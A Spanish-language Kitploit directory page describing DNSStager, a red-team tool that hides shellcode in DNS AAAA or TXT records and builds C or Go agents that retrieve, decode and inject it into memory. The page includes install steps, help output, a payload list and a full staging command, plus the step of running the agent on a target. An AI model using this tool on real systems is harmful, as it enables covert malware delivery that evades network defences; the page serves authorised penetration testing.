Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DNSStager — Oculta tu carga útil en DNS | Kitploit
Herramientas/GitHubGitHub/mhaskar/dnsstager
Generación de PayloadsExplotaciónComando y ControlRed TeamingDesarrollo de PayloadsAnálisis de DNS
GitHubmhaskar/dnsstager

DNSStager

Oculta tu carga útil en DNS

Ver Repositorio
622133hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

¿Qué es DNSStager?

DNSStager es un proyecto de código abierto basado en Python que se utiliza para ocultar y transferir tu payload usando DNS.

DNSStager creará un servidor DNS malicioso que maneja las solicitudes DNS a tu dominio y devuelve tu payload como respuesta a solicitudes de registros específicos como AAAA o TXT después de dividirlo en fragmentos y codificar el payload usando diferentes algoritmos.

DNSStager puede generar un agente personalizado escrito en C o GoLang que resolverá una secuencia de dominios, recuperará el payload, lo decodificará y finalmente lo inyectará en la memoria basándose en cualquier técnica que desees.

Puedes editar el código del agente de DNSStager como quieras y compilarlo usando tus propias técnicas de ejecución personalizadas.

El objetivo principal de usar DNSStager es ayudar a los red teamers/pentesters a entregar sus payloads de manera sigilosa a través de DNS.

¿Cómo funciona?

Según la opción de resolución DNS que elijas, DNSStager dividirá tu payload en fragmentos y guardará cada fragmento del payload como respuesta para un subdominio.

Por ejemplo, si eliges IPV6 como opción para recuperar el payload, la respuesta DNS será algo como:

cloud-srv-1.test.mydnsserver.live. 300 IN AAAA 5648:31d2:6548:8b52:6048:8b52:1848:8b52

Donde 5648:31d2:6548:8b52:6048:8b52:1848:8b52 es una parte de tu payload.

Por lo tanto, el agente resolverá algunos dominios para recuperar el payload, luego lo decodificará y finalmente lo inyectará en la memoria.

Actualmente, DNSStager solo admite dos tipos de registros: AAAA y TXT. Puedes codificar tu payload usando XOR para el registro AAAA y, de forma predeterminada, se codificará como base64 si eliges el registro TXT.

Características clave de DNSStager:

DNSStager tiene algunas características clave como:

  • Ocultar y resolver tu payload en registros IPV6.
  • Ocultar y resolver tu payload en registros TXT.
  • Codificador XOR para codificar tu payload.
  • Codificador Base64 para codificar tu payload (solo para registros TXT).
  • Agente puro escrito en C con la posibilidad de personalizarlo.
  • Agente puro escrito en GoLang con la posibilidad de personalizarlo.
  • La capacidad de usar una pausa entre cada solicitud DNS.
  • ¡Y MUCHO MÁS POR VENIR!

Requisitos

Puedes instalar los requisitos de Python de DNSStager mediante:

pip3 install -r requirements.txt

Necesitas instalar GoLang versión 1.16.3 y asegurarte de instalar los siguientes paquetes de GoLang:

  • golang.org/x/sys
  • github.com/miekg/dns

Además, asegúrate de instalar ming-w64 mediante:

apt install mingw-w64

El script setup.sh debería hacer eso por ti, ¡pero verifica dos veces los requisitos antes de usarlo!

Instalación

Para obtener la última versión de DNSStager, asegúrate de clonarlo desde este repositorio usando el siguiente comando:

git clone https://github.com/mhaskar/DNSStager

Luego necesitas instalar los requisitos usando el siguiente comando:

pip3 install -r requirements.txt

Y asegúrate de instalar también todos los requisitos mencionados anteriormente.

Después de hacer todo eso, estás listo para ejecutar DNSStager como root para obtener lo siguiente:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py                                                                                                                 

    
                                                                                          
                                                                                          
██████  ███    ██ ███████ ███████ ████████  █████   ██████  ███████ ██████  
██   ██ ████   ██ ██      ██         ██    ██   ██ ██       ██      ██   ██ 
██   ██ ██ ██  ██ ███████ ███████    ██    ███████ ██   ███ █████   ██████  
██   ██ ██  ██ ██      ██      ██    ██    ██   ██ ██    ██ ██      ██   ██ 
██████  ██   ████ ███████ ███████    ██    ██   ██  ██████  ███████ ██   ██ 
                                                                            
                                                                                                                                                            
                                                                                              

    Stable v1.0                           Oculta tu payload en DNS
    
[-] Por favor, especifica un nombre de dominio usando --domain

Uso

Para empezar a usar DNSStager, primero configura tus ajustes DNS; necesitas hacer que tu dominio apunte a la instancia de DNSStager como un registro NS para manejar todas las solicitudes DNS a tu dominio.

Puedes leer este artículo completo sobre cómo configurar y usar DNSStager.

Y puedes verificar las opciones usando el interruptor -h de la siguiente manera:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py -h                                                                                                         
usage: dnsstager.py [-h] [--domain DOMAIN] [--payloads] [--prefix PREFIX] [--payload PAYLOAD] [--output OUTPUT] [--shellcode_path SHELLCODE_PATH] [--xorkey XORKEY] [--sleep SLEEP]
                    [--format FORMAT]

Analizador principal de DNSStager

argumentos opcionales:
  -h, --help            muestra este mensaje de ayuda y sale
  --domain DOMAIN       El dominio que deseas usar como servidor de staging
  --payloads            muestra todos los payloads
  --prefix PREFIX       Prefijo a usar como parte de tu esquema de subdominio
  --payload PAYLOAD     Payload a usar, consulta --payloads para más detalles
  --output OUTPUT       Ruta de salida del agente
  --shellcode_path SHELLCODE_PATH
                        Ruta del archivo de shellcode
  --xorkey XORKEY       Clave XOR para codificar tu payload
  --sleep SLEEP         Pausa de N segundos entre cada solicitud DNS
  --format FORMAT       formato del payload (.dll o .exe)
  --tcp                 Iniciar y usar el servidor DNS mediante el protocolo TCP
  • --domain: puedes usar esta opción para seleccionar el dominio principal que usarás para manejar las solicitudes DNS.

  • -- prefix: El prefijo que deseas usar para el esquema de subdominio Por ejemplo, si tu dominio principal es fakedns.live, puedes especificar el prefijo como "cdn". Así, los dominios generados tendrán un patrón como el siguiente:

    • cdn0.fakedns.live
    • cdn1.fakedns.live
    • cdnN.fakedns.live

Donde N es un número generado automáticamente que representa la cantidad de fragmentos de tu payload.

  • --payload: el payload "agente" de DNSStager que deseas generar según la técnica, lenguaje de programación y arquitectura.

  • --output: Ruta de salida para guardar el ejecutable del payload "agente" de DNSStager.

  • --shellcode_path: Ruta de tu shellcode raw/bin.

  • --xorkey: Clave XOR para codificar el payload.

  • --sleep: Se usa para pausar N segundos entre cada solicitud DNS.

  • --tcp: Iniciar y usar el servidor DNS mediante el protocolo TCP.

Payloads de DNSStager

Para verificar los payloads disponibles de DNSStager, puedes usar ./dnsstager.py --payloads para obtener los siguientes resultados:

root@kitploit:~
askar•/opt/redteaming/DNSStager(main⚡)» sudo ./dnsstager.py --payloads                                                                                                

[+] 6 payloads de DNSStager disponibles

x64/c/ipv6			Resuelve tu payload como direcciones IPV6 codificadas con XOR con clave personalizada mediante código C x64 compilado
x86/c/ipv6			Resuelve tu payload como direcciones IPV6 codificadas con XOR con clave personalizada mediante código C x86 compilado
x64/golang/txt			Resuelve tu payload como registros TXT codificados en base64 mediante código GoLang x64 compilado
x64/golang/ipv6			Resuelve tu payload como direcciones IPV6 codificadas con clave personalizada usando codificación de suma de bytes mediante código GoLang x64 compilado
x86/golang/txt			Resuelve tu payload como registros TXT codificados en base64 mediante código GoLang x86 compilado
x86/golang/ipv6			Resuelve tu payload como direcciones IPV6 codificadas con clave personalizada usando codificación de suma de bytes mediante código GoLang x86 compilado

Ejemplo de uso de DNSStager con IPV6

Este ejemplo iniciará DNSStager para resolver tu payload como IPV6 usando el dominio test.mydnsserver.live con el prefijo cloud-srv- para generar un agente compilado x64 C codificado con 0x10 como clave:

sudo ./dnsstager.py --domain test.mydnsserver.live --payload x64/c/ipv6 --output /tmp/a2.exe --prefix cloud-srv- --shellcode_path ~/payload.bin --sleep 1 --xorkey 0x10

Y la salida será:

Alt text

Y para comprobar si todo funciona bien, enviemos una consulta DNS a cloud-srv-0.test.mydnsserver.live para obtener lo siguiente:

Alt text

Podemos ver que recibimos f642:89ee:fae2:c20a:a0a:4b5b:4b5a:585b como respuesta, que son los primeros 16 bytes de nuestro payload codificado.

Luego puedes ejecutar el agente /tmp/a2.exe (como se definió usando --output en la línea de comandos) en la máquina objetivo y eso descargará todos los fragmentos necesarios, los decodificará y los inyectará en la memoria por ti.

Recursos

  • DNSStager v1.0 estable: código más sigiloso, agente DLL y mucho más.
  • Revelando DNSStager: una herramienta para ocultar tu payload en DNS.

Licencia

Este proyecto está licenciado bajo la Licencia GPL-3.0 - consulta el archivo LICENSE para más detalles.

Descargar herramienta